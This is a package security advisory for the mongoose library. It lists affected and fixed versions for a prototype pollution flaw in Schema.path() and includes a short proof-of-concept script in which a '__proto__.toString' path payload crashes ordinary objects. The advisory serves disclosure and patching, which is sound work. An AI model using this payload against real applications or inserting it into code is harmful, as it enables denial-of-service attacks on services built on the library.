Packages / mongoose / Security
Mongoose Vulnerable to Prototype Pollution in Schema Object
Affected releases · mongoose
- 6.x6.0.0 – 6.4.5Fixed in 6.4.6
- 5.x5.0.0 – 5.13.14Fixed in 5.13.15
- 4.x and older0.0.1 – 4.13.21No fix, no longer updated
On 6.x, the newest line:
npm install mongoose@6.4.6Every release on a timeline
Not affected
9.0.0 – 9.11.4
49 releases, latest
Affected
6.0.0 – 6.4.5
55 releases
Fixed
6.4.6 – 6.13.12
67 releases
Affected
5.0.0 – 5.13.14
246 releases
Fixed
5.13.15 – 5.13.23
9 releases
Affected
4.0.0 – 4.13.21
164 releases
Affected
3.0.0 – 3.9.7
104 releases
Affected
2.0.0 – 2.9.10
84 releases
Affected
1.0.0 – 1.8.4
64 releases
Affected
0.0.1 – 0.0.6
6 releases
What happens
Description
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.
Proof of Concept
// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)Impact
This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.